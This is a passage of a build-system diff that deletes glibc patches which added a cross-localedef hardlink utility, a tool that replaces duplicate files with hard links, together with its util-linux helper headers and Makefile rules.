-+ if (read(fd, buf, cksumsize) != cksumsize) {
-+ close(fd);
-+ return;
-+ }
-+ cksumsize = (cksumsize + sizeof(buf[0]) - 1) / sizeof(buf[0]);
-+ for (i = 0, cksum = 0; i < cksumsize; i++) {
-+ if (cksum + buf[i] < cksum)
-+ cksum += buf[i] + 1;
-+ else
-+ cksum += buf[i];
-+ }
-+ for (hp = ctl->hps[hsh]; hp; hp = hp->next) {
-+ if (hp->size == st.st_size && hp->mtime == mtime)
-+ break;
-+ }
-+ if (!hp) {
-+ hp = xmalloc(sizeof(*hp));
-+ hp->size = st.st_size;
-+ hp->mtime = mtime;
-+ hp->chain = NULL;
-+ hp->next = ctl->hps[hsh];
-+ ctl->hps[hsh] = hp;
-+ }
-+ for (fp = hp->chain; fp; fp = fp->next) {
-+ if (fp->cksum == cksum)
-+ break;
-+ }
-+ for (fp2 = fp; fp2 && fp2->cksum == cksum; fp2 = fp2->next) {
-+ if (fp2->ino == st.st_ino && fp2->dev == st.st_dev) {
-+ close(fd);
-+ return;
-+ }
-+ }
-+ for (fp2 = fp; fp2 && fp2->cksum == cksum; fp2 = fp2->next) {
-+
-+ if (!lstat(fp2->name, &st2) && S_ISREG(st2.st_mode) &&
-+ !stcmp(&st, &st2, ctl->content_only) &&
-+ st2.st_ino != st.st_ino &&
-+ st2.st_dev == st.st_dev) {
-+
-+ int fd2 = open(fp2->name, O_RDONLY);
-+ if (fd2 < 0)
-+ continue;
-+
-+ if (fstat(fd2, &st2) || !S_ISREG(st2.st_mode)
-+ || st2.st_size == 0) {
-+ close(fd2);
-+ continue;
-+ }
-+ ctl->ncomp++;
-+ lseek(fd, 0, SEEK_SET);
-+
-+ for (fsize = st.st_size; fsize > 0;
-+ fsize -= (off_t)sizeof(ctl->iobuf1)) {
-+ ssize_t xsz;
-+ ssize_t rsize = fsize > (ssize_t) sizeof(ctl->iobuf1) ?
-+ (ssize_t) sizeof(ctl->iobuf1) : fsize;
-+
-+ if ((xsz = read(fd, ctl->iobuf1, rsize)) != rsize)
-+ warn(_("cannot read %s"), name);
-+ else if ((xsz = read(fd2, ctl->iobuf2, rsize)) != rsize)
-+ warn(_("cannot read %s"), fp2->name);
-+
-+ if (xsz != rsize) {
-+ close(fd);
-+ close(fd2);
-+ return;
-+ }
-+ if (memcmp(ctl->iobuf1, ctl->iobuf2, rsize))
-+ break;
-+ }
-+ close(fd2);
-+ if (fsize > 0)
-+ continue;
-+ if (lstat(name, &st3)) {
-+ warn(_("cannot stat %s"), name);
-+ close(fd);
-+ return;
-+ }
-+ st3.st_atime = st.st_atime;
-+ if (stcmp(&st, &st3, 0)) {
-+ warnx(_("file %s changed underneath us"), name);
-+ close(fd);
-+ return;
-+ }
-+ n1 = fp2->name;
-+ n2 = name;
-+
-+ if (!ctl->no_link) {
-+ const char *suffix =
-+ ".$$$___cleanit___$$$";
-+ const size_t suffixlen = strlen(suffix);
-+ size_t n2len = strlen(n2);
-+ struct hardlink_dynstr nam2 = { NULL, 0 };
-+
-+ growstr(&nam2, add2(n2len, suffixlen));
-+ memcpy(nam2.buf, n2, n2len);
-+ memcpy(&nam2.buf[n2len], suffix,
-+ suffixlen + 1);
-+ /* First create a temporary link to n1 under a new name */
-+ if (link(n1, nam2.buf)) {
-+ warn(_("failed to hardlink %s to %s (create temporary link as %s failed)"),
-+ n1, n2, nam2.buf);
-+ free(nam2.buf);
-+ continue;
-+ }
-+ /* Then rename into place over the existing n2 */
-+ if (rename(nam2.buf, n2)) {
-+ warn(_("failed to hardlink %s to %s (rename temporary link to %s failed)"),
-+ n1, n2, n2);
-+ /* Something went wrong, try to remove the now redundant temporary link */
-+ if (unlink(nam2.buf))
-+ warn(_("failed to remove temporary link %s"), nam2.buf);
-+ free(nam2.buf);
-+ continue;
-+ }
-+ free(nam2.buf);
-+ }
-+ ctl->nlinks++;
-+ if (st3.st_nlink > 1) {
-+ /* We actually did not save anything this time, since the link second argument
-+ had some other links as well. */
-+ if (ctl->verbose > 1)
-+ printf(_(" %s %s to %s\n"),
-+ (ctl->no_link ? _("Would link") : _("Linked")),
-+ n1, n2);
-+ } else {
-+ ctl->nsaved += ((st.st_size + 4095) / 4096) * 4096;
-+ if (ctl->verbose > 1)
-+ printf(_(" %s %s to %s, %s %jd\n"),
-+ (ctl->no_link ? _("Would link") : _("Linked")),
-+ n1, n2,
-+ (ctl->no_link ? _("would save") : _("saved")),
-+ (intmax_t)st.st_size);
-+ }
-+ close(fd);
-+ return;
-+ }
-+ }
-+ fp2 = xmalloc(add3(sizeof(*fp2), namelen, 1));
-+ close(fd);
-+ fp2->ino = st.st_ino;
-+ fp2->dev = st.st_dev;
-+ fp2->cksum = cksum;
-+ memcpy(fp2->name, name, namelen + 1);
-+
-+ if (fp) {
-+ fp2->next = fp->next;
-+ fp->next = fp2;
-+ } else {
-+ fp2->next = hp->chain;
-+ hp->chain = fp2;
-+ }
-+ return;
-+ }
-+}
-+
-+int main(int argc, char **argv)
-+{
-+ int ch;
-+ int i;
-+#ifdef HAVE_PCRE
-+ int errornumber;
-+ PCRE2_SIZE erroroffset;
-+ pcre2_code *re = NULL;
-+ PCRE2_SPTR exclude_pattern = NULL;
-+ pcre2_match_data *match_data = NULL;
-+#endif
-+ struct hardlink_dynstr nam1 = { NULL, 0 };
-+ struct hardlink_ctl *ctl = &global_ctl;
-+
-+ static const struct option longopts[] = {
-+ { "content", no_argument, NULL, 'c' },
-+ { "dry-run", no_argument, NULL, 'n' },
-+ { "exclude", required_argument, NULL, 'x' },
-+ { "force", no_argument, NULL, 'f' },
-+ { "help", no_argument, NULL, 'h' },
-+ { "verbose", no_argument, NULL, 'v' },
-+ { "version", no_argument, NULL, 'V' },
-+ { NULL, 0, NULL, 0 },
-+ };
-+
-+ setlocale(LC_ALL, "");
-+ bindtextdomain(PACKAGE, LOCALEDIR);
-+ textdomain(PACKAGE);
-+ close_stdout_atexit();
-+
-+ while ((ch = getopt_long(argc, argv, "cnvfx:Vh", longopts, NULL)) != -1) {
-+ switch (ch) {
-+ case 'n':
-+ ctl->no_link = 1;
-+ break;
-+ case 'v':
-+ ctl->verbose++;
-+ break;
-+ case 'c':
-+ ctl->content_only = 1;
-+ break;
-+ case 'f':
-+ ctl->force = 1;
-+ break;
-+ case 'x':
-+#ifdef HAVE_PCRE
-+ exclude_pattern = (PCRE2_SPTR) optarg;
-+#else
-+ errx(EXIT_FAILURE,
-+ _("option --exclude not supported (built without pcre2)"));
-+#endif
-+ break;
-+ case 'V':
-+ print_version(EXIT_SUCCESS);
-+ case 'h':
-+ usage();
-+ default:
-+ errtryhelp(EXIT_FAILURE);
-+ }
-+ }
-+
-+ if (optind == argc) {
-+ warnx(_("no directory specified"));
-+ errtryhelp(EXIT_FAILURE);
-+ }
-+
-+#ifdef HAVE_PCRE
-+ if (exclude_pattern) {
-+ re = pcre2_compile(exclude_pattern, /* the pattern */
-+ PCRE2_ZERO_TERMINATED, /* indicates pattern is zero-terminate */
-+ 0, /* default options */
-+ &errornumber, &erroroffset, NULL); /* use default compile context */
-+ if (!re) {
-+ PCRE2_UCHAR buffer[256];
-+ pcre2_get_error_message(errornumber, buffer,
-+ sizeof(buffer));
-+ errx(EXIT_FAILURE, _("pattern error at offset %d: %s"),
-+ (int)erroroffset, buffer);
-+ }
-+ match_data = pcre2_match_data_create_from_pattern(re, NULL);
-+ }
-+#endif
-+ atexit(print_summary);
-+
-+ for (i = optind; i < argc; i++)
-+ process_path(ctl, argv[i]);
-+
-+ while (ctl->dirs) {
-+ DIR *dh;
-+ struct dirent *di;
-+ struct hardlink_dir *dp = ctl->dirs;
-+ size_t nam1baselen = strlen(dp->name);
-+
-+ ctl->dirs = dp->next;
-+ growstr(&nam1, add2(nam1baselen, 1));
-+ memcpy(nam1.buf, dp->name, nam1baselen);
-+ free(dp);
-+ nam1.buf[nam1baselen++] = '/';
-+ nam1.buf[nam1baselen] = 0;
-+ dh = opendir(nam1.buf);
-+
-+ if (dh == NULL)
-+ continue;
-+ ctl->ndirs++;
-+
-+ while ((di = readdir(dh)) != NULL) {
-+ if (!di->d_name[0])
-+ continue;
-+ if (di->d_name[0] == '.') {
-+ if (!di->d_name[1] || !strcmp(di->d_name, ".."))
-+ continue;
-+ }
-+#ifdef HAVE_PCRE
-+ if (re && pcre2_match(re, /* compiled regex */
-+ (PCRE2_SPTR) di->d_name, strlen(di->d_name), 0, /* start at offset 0 */
-+ 0, /* default options */
-+ match_data, /* block for storing the result */
-+ NULL) /* use default match context */
-+ >=0) {
-+ if (ctl->verbose) {
-+ nam1.buf[nam1baselen] = 0;
-+ printf(_("Skipping %s%s\n"), nam1.buf, di->d_name);
-+ }
-+ continue;
-+ }
-+#endif
-+ {
-+ size_t subdirlen;
-+ growstr(&nam1,
-+ add2(nam1baselen, subdirlen =
-+ strlen(di->d_name)));
-+ memcpy(&nam1.buf[nam1baselen], di->d_name,
-+ add2(subdirlen, 1));
-+ }
-+ process_path(ctl, nam1.buf);
-+ }
-+ closedir(dh);
-+ }
-+
-+ return 0;
-+}
---- a/localedef/Makefile.in
-+++ b/localedef/Makefile.in
-@@ -40,6 +40,8 @@ WARNFLAGS = -Wall -Wno-format
- FULLCC = $(CC) $(CPPFLAGS) $(CFLAGS) \
- $(DEFINES) $(INCLUDES) $(WARNFLAGS)
-
-+CROSS_LOCALEDEF_HARDLINK_OBJS = cross-localedef-hardlink.o
-+
- LOCALEDEF_OBJS = charmap.o charmap-dir.o ld-address.o ld-collate.o \
- ld-ctype.o ld-identification.o ld-measurement.o \
- ld-messages.o ld-monetary.o ld-name.o ld-numeric.o \
-@@ -54,11 +56,14 @@ LOCALEDEF_OBJS = charmap.o charmap-dir.o
- asprintf.o getdelim.o localedef_extra.o \
- obstack_printf.o vasprintf.o
-
--all: localedef$(EXEEXT)
-+all: localedef$(EXEEXT) cross-localedef-hardlink$(EXEEXT)
-
- localedef$(EXEEXT): $(LOCALEDEF_OBJS)
- $(CC) -o $@ $(LOCALEDEF_OBJS) $(LIBS)
-
-+cross-localedef-hardlink$(EXEEXT): $(CROSS_LOCALEDEF_HARDLINK_OBJS)
-+ $(CC) -o $@ $(CROSS_LOCALEDEF_HARDLINK_OBJS) $(LIBS)
-+
- clean:
- rm -f locale$(EXEEXT) $(LOCALEDEF_OBJS)
-
-@@ -77,6 +82,7 @@ clean:
- %.o: $(srcdir)/%.c
- $(FULLCC) -c -o $@ $<
-
-+cross-localedef-hardlink.o: glibc/locale/programs/cross-localedef-hardlink.c
- charmap.o: glibc/locale/programs/charmap.c
- charmap-dir.o: glibc/locale/programs/charmap-dir.c
- ld-address.o: glibc/locale/programs/ld-address.c
---- /dev/null
-+++ b/locale/programs/c.h
-@@ -0,0 +1,407 @@
-+/*
-+ * Fundamental C definitions.
-+ */
-+
-+#ifndef UTIL_LINUX_C_H
-+#define UTIL_LINUX_C_H
-+
-+#include <limits.h>
-+#include <stddef.h>
-+#include <stdint.h>
-+#include <stdio.h>
-+#include <unistd.h>
-+#include <stdarg.h>
-+#include <stdlib.h>
-+#include <string.h>
-+#include <errno.h>
-+
-+#include <assert.h>
-+
-+#ifdef HAVE_ERR_H
-+# include <err.h>
-+#endif
-+
-+#ifdef HAVE_SYS_SYSMACROS_H
-+# include <sys/sysmacros.h> /* for major, minor */
-+#endif
-+
-+#ifndef LOGIN_NAME_MAX
-+# define LOGIN_NAME_MAX 256
-+#endif
-+
-+#ifndef NAME_MAX
-+# define NAME_MAX PATH_MAX
-+#endif
-+
-+/*
-+ * __GNUC_PREREQ is deprecated in favour of __has_attribute() and
-+ * __has_feature(). The __has macros are supported by clang and gcc>=5.
-+ */
-+#ifndef __GNUC_PREREQ
-+# if defined __GNUC__ && defined __GNUC_MINOR__
-+# define __GNUC_PREREQ(maj, min) \
-+ ((__GNUC__ << 16) + __GNUC_MINOR__ >= ((maj) << 16) + (min))
-+# else
-+# define __GNUC_PREREQ(maj, min) 0
-+# endif
-+#endif
-+
-+#ifdef __GNUC__
-+
-+/* &a[0] degrades to a pointer: a different type from an array */
-+# define __must_be_array(a) \
-+ UL_BUILD_BUG_ON_ZERO(__builtin_types_compatible_p(__typeof__(a), __typeof__(&a[0])))
-+
-+# define ignore_result(x) __extension__ ({ \
-+ __typeof__(x) __dummy __attribute__((__unused__)) = (x); (void) __dummy; \
-+})
-+
-+#else /* !__GNUC__ */
-+# define __must_be_array(a) 0
-+# define __attribute__(_arg_)
-+# define ignore_result(x) ((void) (x))
-+#endif /* !__GNUC__ */
-+
-+/*
-+ * It evaluates to 1 if the attribute/feature is supported by the current
-+ * compilation targed. Fallback for old compilers.
-+ */
-+#ifndef __has_attribute
-+ #define __has_attribute(x) 0
-+#endif
-+
-+#ifndef __has_feature
-+ #define __has_feature(x) 0
-+#endif
-+
-+/*
-+ * Function attributes
-+ */
-+#ifndef __ul_alloc_size
-+# if (__has_attribute(alloc_size) && __has_attribute(warn_unused_result)) || __GNUC_PREREQ (4, 3)
-+# define __ul_alloc_size(s) __attribute__((alloc_size(s), warn_unused_result))
-+# else
-+# define __ul_alloc_size(s)
-+# endif
-+#endif
-+
-+#ifndef __ul_calloc_size
-+# if (__has_attribute(alloc_size) && __has_attribute(warn_unused_result)) || __GNUC_PREREQ (4, 3)
-+# define __ul_calloc_size(n, s) __attribute__((alloc_size(n, s), warn_unused_result))
-+# else
-+# define __ul_calloc_size(n, s)
-+# endif
-+#endif
-+
-+#if __has_attribute(returns_nonnull) || __GNUC_PREREQ (4, 9)
-+# define __ul_returns_nonnull __attribute__((returns_nonnull))
-+#else
-+# define __ul_returns_nonnull
-+#endif
-+
-+/*
-+ * Force a compilation error if condition is true, but also produce a
-+ * result (of value 0 and type size_t), so the expression can be used
-+ * e.g. in a structure initializer (or wherever else comma expressions
-+ * aren't permitted).
-+ */
-+#define UL_BUILD_BUG_ON_ZERO(e) __extension__ (sizeof(struct { int:-!!(e); }))
-+#define BUILD_BUG_ON_NULL(e) ((void *)sizeof(struct { int:-!!(e); }))
-+
-+#ifndef ARRAY_SIZE
-+# define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
-+#endif
-+
-+#ifndef PATH_MAX
-+# define PATH_MAX 4096
-+#endif
-+
-+#ifndef TRUE
-+# define TRUE 1
-+#endif
-+
-+#ifndef FALSE
-+# define FALSE 0
-+#endif
-+
-+#ifndef min
-+# define min(x, y) __extension__ ({ \
-+ __typeof__(x) _min1 = (x); \
-+ __typeof__(y) _min2 = (y); \
-+ (void) (&_min1 == &_min2); \
-+ _min1 < _min2 ? _min1 : _min2; })
-+#endif
-+
-+#ifndef max
-+# define max(x, y) __extension__ ({ \
-+ __typeof__(x) _max1 = (x); \
-+ __typeof__(y) _max2 = (y); \
-+ (void) (&_max1 == &_max2); \
-+ _max1 > _max2 ? _max1 : _max2; })
-+#endif
-+
-+#ifndef cmp_numbers
-+# define cmp_numbers(x, y) __extension__ ({ \
-+ __typeof__(x) _a = (x); \
-+ __typeof__(y) _b = (y); \
-+ (void) (&_a == &_b); \
-+ _a == _b ? 0 : _a > _b ? 1 : -1; })
-+#endif
-+
-+#ifndef offsetof
-+#define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER)
-+#endif
-+
-+/*
-+ * container_of - cast a member of a structure out to the containing structure
-+ * @ptr: the pointer to the member.
-+ * @type: the type of the container struct this is embedded in.
-+ * @member: the name of the member within the struct.
-+ */
-+#ifndef container_of
-+#define container_of(ptr, type, member) __extension__ ({ \
-+ const __typeof__( ((type *)0)->member ) *__mptr = (ptr); \
-+ (type *)( (char *)__mptr - offsetof(type,member) );})
-+#endif
-+
-+#ifndef HAVE_PROGRAM_INVOCATION_SHORT_NAME
-+# ifdef HAVE___PROGNAME
-+extern char *__progname;
-+# define program_invocation_short_name __progname
-+# else
-+# ifdef HAVE_GETEXECNAME
-+# define program_invocation_short_name \
-+ prog_inv_sh_nm_from_file(getexecname(), 0)
-+# else
-+# define program_invocation_short_name \
-+ prog_inv_sh_nm_from_file(__FILE__, 1)
-+# endif
-+static char prog_inv_sh_nm_buf[256];
-+static inline char *
-+prog_inv_sh_nm_from_file(char *f, char stripext)
-+{
-+ char *t;
-+
-+ if ((t = strrchr(f, '/')) != NULL)
-+ t++;
-+ else
-+ t = f;
-+
-+ strncpy(prog_inv_sh_nm_buf, t, sizeof(prog_inv_sh_nm_buf) - 1);
-+ prog_inv_sh_nm_buf[sizeof(prog_inv_sh_nm_buf) - 1] = '\0';
-+
-+ if (stripext && (t = strrchr(prog_inv_sh_nm_buf, '.')) != NULL)
-+ *t = '\0';
-+
-+ return prog_inv_sh_nm_buf;
-+}
-+# endif
-+#endif
-+
-+
-+#ifndef HAVE_ERR_H
-+static inline void
-+errmsg(char doexit, int excode, char adderr, const char *fmt, ...)
-+{
-+ fprintf(stderr, "%s: ", program_invocation_short_name);
-+ if (fmt != NULL) {
-+ va_list argp;
-+ va_start(argp, fmt);
-+ vfprintf(stderr, fmt, argp);
-+ va_end(argp);
-+ if (adderr)
-+ fprintf(stderr, ": ");
-+ }
-+ if (adderr)
-+ fprintf(stderr, "%m");
-+ fprintf(stderr, "\n");
-+ if (doexit)
-+ exit(excode);
-+}
-+
-+#ifndef HAVE_ERR
-+# define err(E, FMT...) errmsg(1, E, 1, FMT)
-+#endif
-+
-+#ifndef HAVE_ERRX
-+# define errx(E, FMT...) errmsg(1, E, 0, FMT)
-+#endif
-+
-+#ifndef HAVE_WARN
-+# define warn(FMT...) errmsg(0, 0, 1, FMT)
-+#endif
-+
-+#ifndef HAVE_WARNX
-+# define warnx(FMT...) errmsg(0, 0, 0, FMT)
-+#endif
-+#endif /* !HAVE_ERR_H */
-+
-+
-+/* Don't use inline function to avoid '#include "nls.h"' in c.h
-+ */
-+#define errtryhelp(eval) __extension__ ({ \
-+ fprintf(stderr, _("Try '%s --help' for more information.\n"), \
-+ program_invocation_short_name); \
-+ exit(eval); \
-+})
-+
-+/* After failed execvp() */
-+#define EX_EXEC_FAILED 126 /* Program located, but not usable. */
-+#define EX_EXEC_ENOENT 127 /* Could not find program to exec. */
-+#define errexec(name) err(errno == ENOENT ? EX_EXEC_ENOENT : EX_EXEC_FAILED, \
-+ _("failed to execute %s"), name)
-+
-+
-+static inline __attribute__((const)) int is_power_of_2(unsigned long num)
-+{
-+ return (num != 0 && ((num & (num - 1)) == 0));
-+}
-+
-+#ifndef HAVE_LOFF_T
-+typedef int64_t loff_t;
-+#endif
-+
-+#if !defined(HAVE_DIRFD) && (!defined(HAVE_DECL_DIRFD) || HAVE_DECL_DIRFD == 0) && defined(HAVE_DIR_DD_FD)
-+#include <sys/types.h>
-+#include <dirent.h>
-+static inline int dirfd(DIR *d)
-+{
-+ return d->dd_fd;
-+}
-+#endif
-+
-+/*
-+ * Fallback defines for old versions of glibc
-+ */
-+#include <fcntl.h>
-+
-+#ifdef O_CLOEXEC
-+#define UL_CLOEXECSTR "e"
-+#else
-+#define UL_CLOEXECSTR ""
-+#endif
-+
-+#ifndef O_CLOEXEC
-+#define O_CLOEXEC 0
-+#endif
-+
-+#ifdef __FreeBSD_kernel__
-+#ifndef F_DUPFD_CLOEXEC
-+#define F_DUPFD_CLOEXEC 17 /* Like F_DUPFD, but FD_CLOEXEC is set */
-+#endif
-+#endif
-+
-+
-+#ifndef AI_ADDRCONFIG
-+#define AI_ADDRCONFIG 0x0020
-+#endif
-+
-+#ifndef IUTF8
-+#define IUTF8 0040000
-+#endif
-+
-+/*
-+ * MAXHOSTNAMELEN replacement
-+ */
-+static inline size_t get_hostname_max(void)
-+{
-+ long len = sysconf(_SC_HOST_NAME_MAX);
-+
-+ if (0 < len)
-+ return len;
-+
-+#ifdef MAXHOSTNAMELEN
-+ return MAXHOSTNAMELEN;
-+#elif HOST_NAME_MAX
-+ return HOST_NAME_MAX;
-+#endif
-+ return 64;
-+}
-+
-+
-+/*
-+ * Constant strings for usage() functions. For more info see
-+ * Documentation/{howto-usage-function.txt,boilerplate.c}
-+ */
-+#define USAGE_HEADER ("\nUsage:\n")
-+#define USAGE_OPTIONS ("\nOptions:\n")
-+#define USAGE_FUNCTIONS ("\nFunctions:\n")
-+#define USAGE_COMMANDS ("\nCommands:\n")
-+#define USAGE_COLUMNS ("\nAvailable output columns:\n")
-+#define USAGE_SEPARATOR "\n"
-+
-+#define USAGE_OPTSTR_HELP ("display this help")
-+#define USAGE_OPTSTR_VERSION ("display version")
-+
-+#define USAGE_HELP_OPTIONS(marg_dsc) \
-+ "%-" #marg_dsc "s%s\n" \
-+ "%-" #marg_dsc "s%s\n" \
-+ , " -h, --help", USAGE_OPTSTR_HELP \
-+ , " -V, --version", USAGE_OPTSTR_VERSION
-+
-+#define USAGE_MAN_TAIL(_man) ("\nFor more details see %s.\n"), _man
-+
-+#define UTIL_LINUX_VERSION ("%s from %s\n"), program_invocation_short_name, PACKAGE_STRING
-+
-+#define print_version(eval) __extension__ ({ \
-+ printf(UTIL_LINUX_VERSION); \
-+ exit(eval); \
-+})
-+
-+/*
-+ * scanf modifiers for "strings allocation"
-+ */
-+#ifdef HAVE_SCANF_MS_MODIFIER
-+#define UL_SCNsA "%ms"
-+#elif defined(HAVE_SCANF_AS_MODIFIER)
-+#define UL_SCNsA "%as"
-+#endif
-+
-+/*
-+ * seek stuff
-+ */
-+#ifndef SEEK_DATA
-+# define SEEK_DATA 3
-+#endif
-+#ifndef SEEK_HOLE
-+# define SEEK_HOLE 4
-+#endif
-+
-+
-+/*
-+ * Macros to convert #define'itions to strings, for example
-+ * #define XYXXY 42
-+ * printf ("%s=%s\n", stringify(XYXXY), stringify_value(XYXXY));
-+ */
-+#define stringify_value(s) stringify(s)
-+#define stringify(s) #s
-+
-+/*
-+ * UL_ASAN_BLACKLIST is a macro to tell AddressSanitizer (a compile-time
-+ * instrumentation shipped with Clang and GCC) to not instrument the
-+ * annotated function. Furthermore, it will prevent the compiler from
-+ * inlining the function because inlining currently breaks the blacklisting
-+ * mechanism of AddressSanitizer.
-+ */
-+#if __has_feature(address_sanitizer) && __has_attribute(no_sanitize_memory) && __has_attribute(no_sanitize_address)
-+# define UL_ASAN_BLACKLIST __attribute__((noinline)) __attribute__((no_sanitize_memory)) __attribute__((no_sanitize_address))
-+#else
-+# define UL_ASAN_BLACKLIST /* nothing */
-+#endif
-+
-+/*
-+ * Note that sysconf(_SC_GETPW_R_SIZE_MAX) returns *initial* suggested size for
-+ * pwd buffer and in some cases it is not large enough. See POSIX and
-+ * getpwnam_r man page for more details.
-+ */
-+#define UL_GETPW_BUFSIZ (16 * 1024)
-+
-+/*
-+ * Darwin or other BSDs may only have MAP_ANON. To get it on Darwin we must
-+ * define _DARWIN_C_SOURCE before including sys/mman.h. We do this in config.h.
-+ */
-+#if !defined MAP_ANONYMOUS && defined MAP_ANON
-+# define MAP_ANONYMOUS (MAP_ANON)
-+#endif
-+
-+#endif /* UTIL_LINUX_C_H */
---- /dev/null
-+++ b/locale/programs/xalloc.h
-@@ -0,0 +1,129 @@
-+/*
-+ * Copyright (C) 2010 Davidlohr Bueso <dave@gnu.org>
-+ *
-+ * This file may be redistributed under the terms of the
-+ * GNU Lesser General Public License.
-+ *
-+ * General memory allocation wrappers for malloc, realloc, calloc and strdup
-+ */
-+
-+#ifndef UTIL_LINUX_XALLOC_H
-+#define UTIL_LINUX_XALLOC_H
-+
-+#include <stdlib.h>
-+#include <string.h>
-+
-+#include "c.h"
-+
-+#ifndef XALLOC_EXIT_CODE
-+# define XALLOC_EXIT_CODE EXIT_FAILURE
-+#endif
-+
-+static inline void __attribute__((__noreturn__))
-+__err_oom(const char *file, unsigned int line)
-+{
-+ err(XALLOC_EXIT_CODE, "%s: %u: cannot allocate memory", file, line);
-+}
-+
-+#define err_oom() __err_oom(__FILE__, __LINE__)
-+
-+static inline __ul_alloc_size(1) __ul_returns_nonnull
-+void *xmalloc(const size_t size)
-+{
-+ void *ret = malloc(size);
-+
-+ if (!ret && size)
-+ err(XALLOC_EXIT_CODE, "cannot allocate %zu bytes", size);
-+ return ret;
-+}
-+
-+static inline __ul_alloc_size(2) __ul_returns_nonnull
-+void *xrealloc(void *ptr, const size_t size)
-+{
-+ void *ret = realloc(ptr, size);
-+
-+ if (!ret && size)
-+ err(XALLOC_EXIT_CODE, "cannot allocate %zu bytes", size);
-+ return ret;
-+}
-+
-+static inline __ul_calloc_size(1, 2) __ul_returns_nonnull
-+void *xcalloc(const size_t nelems, const size_t size)
-+{
-+ void *ret = calloc(nelems, size);
-+
-+ if (!ret && size && nelems)
-+ err(XALLOC_EXIT_CODE, "cannot allocate %zu bytes", size);
-+ return ret;
-+}
-+
-+static inline char __attribute__((warn_unused_result)) __ul_returns_nonnull
-+*xstrdup(const char *str)
-+{
-+ char *ret;
-+
-+ if (!str)
-+ return NULL;
-+
-+ ret = strdup(str);
-+
-+ if (!ret)
-+ err(XALLOC_EXIT_CODE, "cannot duplicate string");
-+ return ret;
-+}
-+
-+static inline char * __attribute__((warn_unused_result)) __ul_returns_nonnull
-+xstrndup(const char *str, size_t size)
-+{
-+ char *ret;
-+
-+ if (!str)
-+ return NULL;
-+
-+ ret = strndup(str, size);
-+
-+ if (!ret)
-+ err(XALLOC_EXIT_CODE, "cannot duplicate string");
-+ return ret;
-+}
-+
-+
-+static inline int __attribute__ ((__format__(printf, 2, 3)))
-+ xasprintf(char **strp, const char *fmt, ...)
-+{
-+ int ret;
-+ va_list args;
-+ va_start(args, fmt);
-+ ret = vasprintf(&(*strp), fmt, args);
-+ va_end(args);
-+ if (ret < 0)
-+ err(XALLOC_EXIT_CODE, "cannot allocate string");
-+ return ret;
-+}
-+
-+static inline int __attribute__ ((__format__(printf, 2, 0)))
-+xvasprintf(char **strp, const char *fmt, va_list ap)
-+{
-+ int ret = vasprintf(&(*strp), fmt, ap);
-+ if (ret < 0)
-+ err(XALLOC_EXIT_CODE, "cannot allocate string");
-+ return ret;
-+}
-+
-+
-+static inline char * __attribute__((warn_unused_result)) xgethostname(void)
-+{
-+ char *name;
-+ size_t sz = get_hostname_max() + 1;
-+
-+ name = xmalloc(sizeof(char) * sz);
-+
-+ if (gethostname(name, sz) != 0) {
-+ free(name);
-+ return NULL;
-+ }
-+ name[sz - 1] = '\0';
-+ return name;
-+}
-+
-+#endif
diff --git a/meta/recipes-core/glibc/glibc/allow-compile-separate-from-util-linux-hardlink.patch b/meta/recipes-core/glibc/glibc/allow-compile-separate-from-util-linux-hardlink.patch
deleted file mode 100644
index 1148ebfcc7..0000000000
--- a/meta/recipes-core/glibc/glibc/allow-compile-separate-from-util-linux-hardlink.patch
+++ /dev/null
@@ -1,226 +0,0 @@
----
- locale/programs/c.h | 2
- locale/programs/cross-localedef-hardlink.c | 79 +++++++++++++----------------
- 2 files changed, 39 insertions(+), 42 deletions(-)
-
---- a/locale/programs/cross-localedef-hardlink.c
-+++ b/locale/programs/cross-localedef-hardlink.c
-@@ -20,6 +20,8 @@
- * with this program; if not, write to the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- */
-+
-+#undef HAVE_PCRE
- #include <sys/types.h>
- #include <stdlib.h>
- #include <getopt.h>
-@@ -38,8 +40,8 @@
-
- #include "c.h"
- #include "xalloc.h"
--#include "nls.h"
--#include "closestream.h"
-+//#include "nls.h"
-+//#include "closestream.h"
-
- #define NHASH (1<<17) /* Must be a power of 2! */
- #define NBUF 64
-@@ -124,33 +126,33 @@ static void print_summary(void)
- if (ctl->verbose > 1 && ctl->nlinks)
- fputc('\n', stdout);
-
-- printf(_("Directories: %9lld\n"), ctl->ndirs);
-- printf(_("Objects: %9lld\n"), ctl->nobjects);
-- printf(_("Regular files: %9lld\n"), ctl->nregfiles);
-- printf(_("Comparisons: %9lld\n"), ctl->ncomp);
-+ printf(("Directories: %9lld\n"), ctl->ndirs);
-+ printf(("Objects: %9lld\n"), ctl->nobjects);
-+ printf(("Regular files: %9lld\n"), ctl->nregfiles);
-+ printf(("Comparisons: %9lld\n"), ctl->ncomp);
- printf( "%s%9lld\n", (ctl->no_link ?
-- _("Would link: ") :
-- _("Linked: ")), ctl->nlinks);
-+ ("Would link: ") :
-+ ("Linked: ")), ctl->nlinks);
- printf( "%s %9lld\n", (ctl->no_link ?
-- _("Would save: ") :
-- _("Saved: ")), ctl->nsaved);
-+ ("Would save: ") :
-+ ("Saved: ")), ctl->nsaved);
- }
-
- static void __attribute__((__noreturn__)) usage(void)
- {
- fputs(USAGE_HEADER, stdout);
-- printf(_(" %s [options] directory...\n"), program_invocation_short_name);
-+ printf((" %s [options] directory...\n"), program_invocation_short_name);
-
- fputs(USAGE_SEPARATOR, stdout);
-- puts(_("Consolidate duplicate files using hardlinks."));
-+ puts(("Consolidate duplicate files using hardlinks."));
-
- fputs(USAGE_OPTIONS, stdout);
-- puts(_(" -c, --content compare only contents, ignore permission, etc."));
-- puts(_(" -n, --dry-run don't actually link anything"));
-- puts(_(" -v, --verbose print summary after hardlinking"));
-- puts(_(" -vv print every hardlinked file and summary"));
-- puts(_(" -f, --force force hardlinking across filesystems"));
-- puts(_(" -x, --exclude <regex> exclude files matching pattern"));
-+ puts((" -c, --content compare only contents, ignore permission, etc."));
-+ puts((" -n, --dry-run don't actually link anything"));
-+ puts((" -v, --verbose print summary after hardlinking"));
-+ puts((" -vv print every hardlinked file and summary"));
-+ puts((" -f, --force force hardlinking across filesystems"));
-+ puts((" -x, --exclude <regex> exclude files matching pattern"));
-
- fputs(USAGE_SEPARATOR, stdout);
- printf(USAGE_HELP_OPTIONS(16)); /* char offset to align option descriptions */
-@@ -164,7 +166,7 @@ static inline size_t add2(size_t a, size
- size_t sum = a + b;
-
- if (sum < a)
